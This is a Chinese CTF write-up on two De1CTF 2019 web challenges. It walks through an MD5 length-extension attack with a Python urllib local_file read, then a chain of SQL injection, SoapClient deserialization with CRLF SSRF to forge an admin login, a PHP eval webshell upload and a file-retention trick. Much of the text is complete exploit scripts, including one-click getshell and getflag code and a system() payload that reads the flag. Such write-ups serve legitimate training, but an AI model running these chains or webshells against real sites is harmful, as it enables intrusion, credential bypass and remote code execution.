浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

2019-08-23 约 2242 字 预计阅读 11 分钟

声明:本文 【浅析De1CTF 2019的两道web SSRF ME && ShellShellShell】 由作者 xq17 于 2019-08-23 09:10:00 首发 先知社区 曾经 浏览数 107 次

感谢 xq17 的辛苦付出!

浅析De1CTF 2019的两道web SSRF ME && ShellShellShell

0x0 前言

 这两道题目一个目测感觉是送分题还有一道是原题,但是过程挺有意思的,这里简单记录下。

0x1 题目介绍

SSRF ME

ShellShellShell

这两道题其实有点偏脑洞成分,不过给出了hint ,下面主要挑点有价值的点来学习下。

0x2 SSRF ME 解题过程

  这个题目不是特别有意思,简单的python审计+ Md5扩展长度攻击,但是有意思的是可以总结下Md5扩展攻击的秒题思路,以及脚本编写。

题目链接 (我做的时候题目环境还在:)

0x2.1 step1 审计源代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

这里丢一下我当时自己再做这个题目写的一些草稿。

# 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
    action = urllib.unquote(request.cookies.get("action"))
    # print(action)
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request
        .cookies.get("sign"))
    ip = request.remote_addr
    # 这里通过 http协议的header头Cookies: action=123;sign=ss
    # 还有URLPath的query: ?param=123
    # 去设置  class Task 初始化实例时 调用的实例
        if(waf(param)): # file protocol can be bypassed by use local-file:// (urllib cve)   
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) # follow it
    #     task = Task(action, param, sign, ip)
    # return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
        def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        print ip
   # 读下Exec,简化下逻辑
  # 首先self.checkSign() 第一重限制
  #     def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
  #     def getSign(action , param) 核心:
  #                         return hashlib.md5(secert_key + param + action).hexdigest()
    # 然后分析下代码:
  if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param) # here is vulunerability
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp # here,just print resp in server,dont't output user
                    tmpfile.write(resp) # save result to result.txt
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: # so we must run it to output result
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
  # 整理下整个题目的思路:
  # 两个限制的绕过
  # def waf(content) -----> local-file://
  # def checkSign(self) ---> md5扩展攻击

  # 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己    #  没写一些脚本去说明和简化这类型的通用解法
  #  https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
  # 趁着这次做题,补充下做题的工具做法

@app.route("/geneSign", methods=['GET', 'POST']) # get step1 
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 # secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
 # need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
 # secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
 # /geneSign?param=local-file:///etc/pwd 
 #  fe28521b6c224cad35396cacdb118890
 # secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)

写的比较乱哈,当时有脑抽了,本来到这里,完全可以利用那个

/geneSign?param=local-file:///etc/passwdread 生成对应的md5的了,

我当时也简单想了下,当时自己把正确的出题思路想通了,结果。。。以为就不行了。

这个题目这样判断的话就没办法了。

if "read" in self.action => if "scanread" in self.action:

(因为你是不可能获取到read为结尾的md5呀,是不是特别好理解,我当时就是理所当然了,以为代码是这样的。)

当时可能眼花了,其实另一方面是我觉得这个题目虽然挺普通,但是能再次回顾下md5扩展思路的一些做题技巧,因为自己大一大二一直在学习知识拓展自己的知识面,所以很少做ctf的题目,平时遇到什么类型的题基本就是自己重新理解然后写脚本来做的,所以做题速度很慢,反正就是特别菜那种,所以吸取教训之后,我就需要把一些常见的知识点写出快速秒题脚本和思路总结起来。 let us start………….

0x2.2 md5扩展攻击原理及其脚本浅析

 关于原理,小弟不才,写了篇文章放在了githud上cryptograph-of-web

我们可以通俗简单理解下md5扩展攻击原理:

常用的攻击形式:

已知: md5(secretkey+'x')

未知: key的值

求md5(secretkey+'x补位长度个\x00'+'aaa') 其实更通用的说法就是构造个能带有aaa的md5值

原理很简单:

MD5以512比特(64字节)为一组进行分组加密得到ABCD变量最后ABCD变量的级联就是最后的MD5值

那么大于64字节之后,那么ABCD变量就是前面64字节md5后的结果。

根据题目来看看怎么攻击:

0x2.3 简单分析预期考点local_file

首先我们要确定下我们读取的文件的路径:

看到waf再看到check.startswith匹配开头file我就知道先去搜下cve了

网址如下:

cve database

CVE-2019-9948

很明显有这个bug,我们跟进源码看看为啥。

mac安装路径:

/usr/local/Cellar/python@2/2.7.15_1/Frameworks/Python.framework/Versions/2.7/lib/python2.7

然后简单看下urlopen方法

看到file 协议也是调用了封装的local_file协议

成因及其代码都相当简单,这个不是重点就不多讲了。

0x2.4 Hashdump工具使用教程

我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt

那么我们怎么构造满足条件的md5呢

先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')

77a4adb63c86bd6e8ad440e6123c3872

构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')

其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下

也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗

然后打开:

然后用下小脚本转换为urlencode形式

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read
str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')

得到:

scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read

然后按照python代码传递对应的参数即可。

0x 2.5 python脚本

 我感觉调用那个hashdump有点麻烦,那么有没有相关的python库能直接调用呢。

@一叶飘零师傅写的脚本

#!/usr/bin/python
# -*- coding:utf-8 -*- 

import hashpumpy
import requests
import urllib

url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
'sign': new_sign[0],
'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print(r.content)

这里有个关键的配置,可以简单说下

new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)

1.oldsign代表是md5(secret+'local_file:flag.txt'+'scan')

2.url + 'scan'代表'local_file:flag.tx' + 'scan' =local_file:flag.txscan

3.read作为按要求填充的位置。

其实42和16都是可以,关键是你怎么计算key的长度和选取input的内容。

这里取key为16那么input的内容就是local_file:flag.txtscan

上面我那个样例取key为42那么input的内容就是'scan'。

0x2.6 谈谈关于路径查找及其协议路径问题

关于flag的路径,我是通过读取/root/.history 猜到的。

其实这个题目其实都不用绕过协议也行

我们直接传入文件名也可以读取,因为不存在协议的时候,默认就是file协议

所以local-file也是可以的(我也不知道作者为啥这样写)

然后我们也可以可以发现前面payload:

local_file:flag.txt路径就是相对脚本的路径

local_file://就必须使用绝对路径(协议一般都是这样)

我们可以简单分析下代码:

这里通过getattr进行了相应协议的调用的,我们跟进看下file及其local_file

你使用file:urllib.py或者local_file:urllib.py都不会满足

if file[:1] == '/':
                urlfile = 'file://' + file
            elif file[:2] == './':
                raise ValueError("local file url may start with / or file:. Unknown url of type: %s" % url)
            return addinfourl(open(localname, 'rb'),
                              headers, urlfile)

最后直接把文件名传入了

return addinfourl(open(localname, 'rb'),
                          headers, urlfile)

还有个很有意思的点,(湖大一个师傅给的,膜)

local-file:///proc/self/cwd/flag.txt

其中

/proc/self/cwd/代表的是当前路径

很明显cwd指向的总是bash的进程,也就是取当前路径的意思。

0x3 ShellShellShell 解题过程

浅评这道题目:

这个题目虽然是原题,但是做题步骤相当繁琐,很考验一个ctfer的能力,通过复现这道题,感觉学习了很多东西。

由于题目链接已挂,我只好本地dokcer起服务来完成复盘了。

docker build -t de1ctf:web .

docker run --name ctf_de1ctf -p 8887:80 de1ctf:web

全部web服务启动:

docker-compose up -d

下载源码直接采取

官方wp的脚本GetSwp.py (感觉这个考点对于这个题目来说没啥必要)

#coding=utf-8
# import requests
import urllib
import os
os.system('mkdir source')
os.system('mkdir source/views')
file_list=['.index.php.swp','.config.php.swp','.user.php.swp','user.php.bak','views/.delete.swp','views/.index.swp','views/.login.swp','views/.logout.swp','views/.profile.swp','views/.publish.swp','views/.register.swp']
part_url='http://45.76.187.90:11027/'
for i in file_list:
    url=part_url+i
    print 'download %s '% url
    os.system('curl '+url+'>source/'+i)

0x3.1 step1 发现注入点

首先发现了各个文件都包含了config.php,跟进看看

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all(); //这里调用了全局过滤,采用了addslashes,addslashes_deep跟进这个函数可以知道

这样我们基本不要想什么插入单引号,反斜杠啥的,但是是不是不能注入呢,答案是否定的。

比如一些$_SERVER变量

或者没有单引号包裹的可控点

找注入的话,我们还是得看底层操作封装的安全性。

private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

稍微修改下代码,方便本地调试

<?php
    function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    function insert($columns,$table,$values){ 

        $column = get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        // $result = $this->conn->query($sql);

        return $result;
    }
?>

一开始先自己读一下处理下逻辑。

//insert table  (`column1`, `column2`, `column3`) values (`value1`, `value2`, `value3`)
//mysql插入语句 涉及就是 table column value
//所以首先我们可以先看下get_column这个函数

    function get_column($columns){

        if(is_array($columns)) //判断$columns 变量是不是数组,如果是的话就进行下面的拼接
            $column = ' `'.implode('`,`',$columns).'` ';
      //读这句代码,很容易看错,我们需要切割来看,这里利用了`,`作为连接符号 array('1',)
      //array('1','2') => 1`,`2 => `1`,`2`
      // ' `' . implode('`,`',$columns)  .  '` '
        else
            $column = ' `'.$columns.'` ';
        return $column;
    }
//这里感觉还是没问题的,我们继续分析下去
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';
// 提取出来分析: preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))

        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;

简单谈谈preg_replace的用法

// 我们首先了解preg_replace的Description
//preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
//Searches subject for matches to pattern and replaces them with replacement.

这样就能很好理解第一个是规则,第二个是替换内容,第三个是需要替换的字符串

preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))

这里关于replacement有个占位的用法

$n or //n 对应的是 第n个子正则也就是括号起来的代表是一个子分组。

所以说:

preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values))
//[^`,] 这个正则的意思就是除开 ` 和 ,字符去匹配其他字符。 其实就是处理value是数组的情况
//这段代码的功能就是把`1` => '1'
//但是对于 1`or# => `1`or#` (没有可以切割的)
//然后进行替换的时候(他是根据``配对来匹配的)先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入

那么正确的写法是怎么样的呢?

$value = '('.preg_replace('/`(.*)`/','\'${1}\'',get_column($values)).')';
//这样就限制死了,不会逃逸出去了,但是这样只能处理一个没办法处理数组
//这也是这个代码注入出现的成因
// 考虑到了 如果是数组的情况  `1`,`2`,`3` 转换为 '1','2','3' 直接用那个正则是会产生注入的
//我们可以直接 str_replace('`','\'',),但是这样还是不行,至于为什么。呵呵。。。
// 那么什么方案才是比较合理的呢?
// 1.过滤输入的` 这才是根源

也就是说我们直接引入反引号,就有可能导致注入,那么我们全局搜索看看哪里进行了insert操作。

那我们直接跟进看看

@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
//首先username做了过滤
//$password 进行了md5
// get_ip() <= return $_SERVER['REMOTE_ADDR'];
//所以这里没办法进行注入,没有可控的变量。

但是还有下一处,我们跟进看看

@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
//这里的$value参数里有个$_POST['signature'],这样我们就可以进行注入了。

但是这个题目有挺多限制的,首先需要登陆,登陆的话就需要注册,注册的话就要跑一下验证码

我们可以选择跟进验证码生成的代码流程看看。

function rand_s($length = 8)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    {
        $password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
    }
    return $password;
}

$code = rand_s(3);
$md5c = substr(md5($code),0,5);
$c_view = "substr(md5(?), 0, 5) === $md5c";
$_SESSION['code'] = $md5c;

写个脚本快速注册一个账号,之后直接丢给sqlmap跑就好了(只要没过滤,或者简单过滤,我都推荐直接用sqlmap跑,毕竟优化做得好呀)

我们可以跑出账号和密码为:

| id | ip         | username | is_admin | password                                    | allow_diff_ip |
+----+------------+----------+----------+---------------------------------------------+---------------+
| 1  | 127.0.0.1  | admin    | 1        | c991707fdf339958eded91331fb11ba0            | 0             |
| 2  | 172.17.0.1 | admin321 | 0        | 4acb4bc224acbbe3c2bfdcaa39a4324e (admin321) | 1             |

第二个是我注册的,第一个我们去解密一下

因为在login.phpmd5($_POST['password'])

我们可以得到用户名和密码是:

admin jaivypassword

0x3.2 step2 SoapClient反序列化+ CRLF + SSRF 上传拿shell1

这里登陆的admin的话做了个验证,因为由上面我们可以知道

allow_diff_ip=0

所以我们要找其他办法去绕过这层限制,最容易想到的就是ssrf了,但是这个要发送post数据包,我们先继续整理下代码,看看有没有其他有意思的点,比如一些变量覆盖什么的,呵呵。。。(这道题很适合拿来改编)

这里我们可以发现进行了一个unserialize反序列化数据的操作,并且我们可以通过注入控制序列化内容。

触发点在: views/index.php

所以我们可以全局搜索下有没有相关的魔术方法可以构造下pop链。

结果找了下好像没有,然后自闭了。。。。。php学得太浅了。。。(ps。膜一叶飘零师傅18年就这么强了,19年才开始接触php的脚本小子菜哭。)

后面我会通读一些php内置类的源码(可以跟一下php7最新的类),实践下触发反序列化的骚操作,好好补充下自己这方面的缺点。

这里贴一下柠檬师傅,fuzzphp内置类的php代码,重点是两个内置方法

get_declared_classes

get_class_methods

$ php fuzz_class.php

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}

下面开始是反序列化重点学习SoapClient分割线。。。。。。。。。(感叹自己真的是特别菜。。。)


利用条件:

通杀php5、php7

关于SOAPAction怎么CRLF,N1CTF Easy&&Hard Php Writeup写的很详细。

这里我从源码开始跟一下user_agent是怎么导致CRLF SSRF攻击的。

首先了解下SOAP的概念

SOAP(simple object access protocol)

简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。

是连接或web服务或客户端和web服务之间的接口

采用HTTP作为底层通讯协议, XML作为数据传送的格式

SOAP信息通常是单向传输。

然后我们看下php中SoapClient类的用法。

SoapClient::SoapClient

然后序列化的,因为__call调用_soapCall发送请求

所以简单的用法就是:

<?php
$a = new SoapClient(null, array('location' => "http://111.230.xxx.xx:8887",
                                     'uri'      => "0"));
$a->test();
$b = serialize($a);
echo $b;
unserialize($b);
echo 'test2';
// phpinfo();
?>

关于源码非常好读,直接跟下去就可以理解操作了,这里我提取关键代码出来。

直接看扩展目录 /ext/soap/soap.c

1.注册类

2.调用构造函数PHP_METHOD(SoapClient, SoapClient),解析options参数

3.获取option的user-agent添加到类的属性

4.调用__call魔术方法 PHP_METHOD(SoapClient, __call)发起请求

5.最后直接拼接进header

所以我们可以直接引入CRLF攻击,

伪造post请求,关键在于http协议的两个header

Content-Type: application/x-www-form-urlencoded

content-Length: strlen(post_data)

可以看到user_agent都在两者的前面,控制长度,便能忽略后面的东西(有空再读一下怎么解析http协议的)

所以我们可以通过利用SoapClient伪造一个post请求,那么这个post请求除了登陆还有什么用呢。

这里明显可以上传,我们有两个思路,自己通过让session过掉登陆,或者我们直接构造一个上传表单(但是还是得先登陆,不如直接带session去过掉登陆)

0x3.3 step3 内网扫描+审计题 拿flag

这个题目竟然还有下一关是另外一个原题,的确有点出乎意外的,这个题目我就很熟悉啦,p神出的。。。

我们上传shell之后,根据tips,容器通过link实现内网,我们直接扫c段就行了,执行下命令查看ifconfig获取ip

因为之前自己也在研究一些内网部署的问题,这里我们分析下怎么快速定位内网范围:

首先我们需要理解两个概念,就是网络地址和主机地址是通过子网掩码来划分的,

子网掩码的作用:

子网掩码可以分离出IP地址中的网络地址和主机地址,那为什么要分离呢?因为两台计算机要通讯,首先要判断是否处于同一个广播域内,即网络地址是否相同。如果网络地址相同,表明接受方在本网络上,那么可以把数据包直接发送到目标主机,否则就需要路由网关将数据包转发送到目的地。

我们平时常说的C段B段A段其实就是:

A类网络缺省子网掩码就是: 255.0.0.0 那么对应的ip比如 192.168.1.1 那么192就是网络地址,后面就是主机地址

B类网络缺省子网掩码: 255.255.0.0

C类网络缺省子网掩码: 255.255.255.0

比如我这个ip就只能是C段通讯的。

所以对于这个题目,我们可以通过3种方式获取到内网的ip

1.ifconfig 查看相关的网卡

2.route 查看相关的路由

3.cat /proc/net/fib_trie 查看路由树

然后直接上传msf的php,反弹shell,然后扫描就行了,我们继续分析下p神那个题目。

<?php
    $sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name'])
    {
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) 
        {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1])
        {
            die("try again!!!");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hello'];
        if(@substr(file($_)[0],0,6)==='@<?php')
        {
            if(strpos($_,$new_name)===false)
            {
                include($_);
            }
            else
            {
                echo "you can do it!";
            }
        }
        unlink($new_name);
    }
    else
    {
        highlight_file(__FILE__);
    }

这里比较有意思的点是,就是如何解决unlink这个问题。

1.官方wp

利用php://filter/string.strip_tags/resource=/etc/passwd导致php segemnt fault,从而保留下来文件。

import requests
import hashlib

target = "http://172.18.0.2/"
ip = "172.18.0.3"
path = "/var/sandbox/%s/"%hashlib.md5(("prefix"+ip).encode()).hexdigest()

#proxies={'http':'http://127.0.0.1:8080'}
files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"hello":(None,"php://filter/string.strip_tags/resource=/etc/passwd")}

try:
    for i in range(10):
        requests.post(target,files=files,)
except Exception as e:
    print(e)

for i in range(0,1000):
    files = {"file":("x",open("1.txt","rb")),"file[1]":(None,'a'),"file[0]":(None,'b'),"s":(None,"system('cat /etc/flag*');"),"hello":(None,path+str(i)+'.b')}
    resp = requests.post(target,files=files,).text
    if len(resp)>0:
        print(resp,i)
        break

0x4 一些exp脚本完整源码

✘ xq17@localhost$:python serialize.php

<?php
$session_id = $_GET['sessid'];
$code = $_GET['code'];
// $target = 'http://111.230.197.23:8088/index.php?action=login';
// 这里有个坑,因为是ssrf,所以千万不要带外部的端口进来,直接是127.0.0.1/就好了,坑了有点难受
$target = 'http://127.0.0.1/index.php?action=login';
# 这里也是 特殊字符最好urlencode一下
$post_string = 'username=admin&password=jaivypassword&code='.urlencode($code);
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID='.$session_id
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
// echo base64_encode($aaa);
// echo '</br>';
echo bin2hex($aaa);
?>

✘ xq17@localhost$:python getshell_1.py

#!/usr/bin/python
# -*- coding:utf-8 -*-
# Type: UnderScoreCase

import requests
import re
import random
import string
import multiprocessing
from urllib import quote
from hashlib import md5
import sys


debug = False
deep_debug = False
retry_count = 5
timeout = 5
host = 'http://127.0.0.1:8887/'

s = requests.Session()

def get(session, url , params = { 'test': 'test'}, proxies = 0):
    retry = 0 
    while  True:
        retry += 1
        try:
            if session:
                if proxies:
                    res = s.get(url, params=params, timeout=timeout, proxies=proxies)
                else:
                    res = s.get(url, params=params, timeout=timeout)
            else:
                if proxies:
                    res = requests.get(url, params=params, proxies=proxies)
                else:
                    res = requests.get(url, params=params)
        except Exception as e:
            if retry >= retry_count:
                print('timeout or server error!')
                if debug:
                    print(e)
                exit()
            continue
        break
    return res

def post(session, url , data, proxies = 0):
    retry = 0 
    while  True:
        retry += 1
        try:
            if session:
                if proxies:
                    res = s.post(url, data=data, timeout=timeout, proxies=proxies)
                else:
                    res = s.post(url, data=data, timeout=timeout)
            else:
                if proxies:
                    res = requests.post(url, data=data, proxies=proxies)
                else:
                    res = requests.post(url, data=data)
        except Exception as e:
            if debug:
                print(e)
            if retry >= retry_count:
                print('timeout or server error!')
                exit()
            continue
        break
    return res

def get_plain(cipher, end = 5, length = 5):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain).hexdigest()[:end] == cipher:
            break
    return plain

def get_flag(html):
    pattern = re.compile('[a-zA-Z0-9]{6}{.*?}')
    flag_is = re.search(pattern, html)
    if flag_is:
        flag = flag_is.group()
        print("Get The Flag:.............")
        print("Flag<> " + Flag)
    else:
        print("Flag Not Found!..............")
        exit(0)

def get_code(html):
    # 验证码正则匹配
    pattern = re.compile(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-zA-Z]{5})\)')
    cipher = re.search(pattern, html).group(1)
    if debug:
        print(cipher)
    # 配置生成验证码plain长度和cipher的比较的长度
    code = get_plain(cipher, 5, 3)
    return code

def get_creds():
    username = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10))
    return username, password

def register():
    req_url = host + 'index.php?action=register'
    username, password = get_creds()
    resp = get(1, req_url).text
    code = get_code(resp)
    if debug:
        print(code)
    if deep_debug:
        print(resp)
    data = {
        'username': username,
        'password': password,
        'code': code
    }
    # finished register, return response html source
    reh = post(1, req_url, data).text
    if deep_debug:
        print(reh)
    return username, password

def login(username, password):
    req_url = host + 'index.php?action=login'
    resp = get(1, req_url).text
    code = get_code(resp)
    data = {
        'username': username,
        'password': password,
        'code': code
    }
    # finished login, return response html source
    reh = post(1, req_url, data).text
    if deep_debug:
        print(reh)
    return True

def get_admin_session():
    req_url = host + 'index.php?action=login'
    new_s = requests.Session()
    resp = new_s.get(req_url)
    code = get_code(resp.text)
    return new_s.cookies.get_dict()['PHPSESSID'], code

def publish(sign, mood):
    req_url = host + 'index.php?action=publish'
    data = {
        'signature': sign,
        'mood': mood
    }
    res = post(1, req_url, data)
    return res

def get_sql_payload(sessionid, code):
    req_url = 'http://127.0.0.1:8888/ctf/de1ctf/serialize.php?sessid={}&code={}'.format(sessionid, quote(code))
    resp = requests.get(req_url)
    if debug:
        print(resp.text)
    return resp.text

def get_shell_1(payload, admin_session):
    payload = '0x' + payload
    payload = 'a`,{})#'.format(payload)
    print('[+] injecting payload through sqli')
    resp = publish(payload, '0')
    if debug:
        print(payload)
    if deep_debug:
        print(resp.text)
    print('[+] triggering object deserialization -> ssrf')
    req_url = host + 'index.php?action=index'
    get(1,req_url)
    # trigger end
    s.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': admin_session})
    req_url = host + 'index.php?action=publish'
    resp = get(1, req_url)
    if deep_debug:
        print(resp.text)
    print('[+] uploading shell')
    # requests 经典的files用法
    shell = {'pic': ('xq17.php', '<?php eval($_POST[1]);echo md5(1);?>', 'image/jpeg')}
    resp = s.post(req_url, files = shell)
    if deep_debug:
        print(resp.text)
    link_shell = host + 'upload/xq17.php'
    res = get(0, link_shell)
    if res.status_code == 200:
        print('[+] shell upload success =>' + link_shell)

def main():
    username, password = register()
    login(username, password)
    # # we can get info from sqlmap
    # admin_user = 'admin'
    # admin_hash = 'c991707fdf339958eded91331fb11ba0' 
    # admin_pass = 'jaivypassword'
    # if debug:
    #   print(username, password)
    # login(admin_user, admin_pass)
    # print('[+] admin login({}, {})'.format(admin_user, admin_pass))
    # print('[+] admin session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
    print('[+] login({}, {})'.format(username, password))
    print('[+] user session => {}'.format(s.cookies.get_dict()['PHPSESSID']))
    phpsessid, code = get_admin_session()
    if debug:
        print(phpsessid)
        print(code)
    print('[+] admin session => {}'.format(phpsessid))
    payload = get_sql_payload(phpsessid, code)
    get_shell_1(payload, phpsessid)
if __name__ == '__main__':
    main()

✘ xq17@localhost$:python getflag.py


一键getshell_1

一键getflag

#!/usr/bin/python
# -*- coding:utf-8 -*-

import requests

host = 'http://127.0.0.1:8888/ctf/de1ctf/'
def get_flag():
    req_url = host + 'flag.php'
    files = {'file': ('./xq17.php', '@<?php eval($_POST[1]);?>'),'file[1]':(None,'png'),'file[a]':(None,'/../xq17.php')}
    res = requests.post(req_url, files = files)
    print(res.text)
def  main():
    get_flag()
if __name__ == '__main__':
    main()

这个主要是利用end取决的是最后赋值的文件名而不是根据序号来的,然后就是/../拼接绕过随机字符串。

0x5 总结

  这几个题目都很好锻炼自己去写脚本的能力,还有就是关于webpwn写的差不多了,找些小案例源代码就可以发了。。

0x6 参考链接

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

题目githud地址

De1CTF ssrf_me 的三种解法

cocostar湖大师傅的wp

SOAP及相关漏洞研究)

PHP反序列化之session,soap,ssrf漏洞与利用详述

反序列化攻击面拓展提高篇)

N1CTF Easy&&Hard Php Writeup

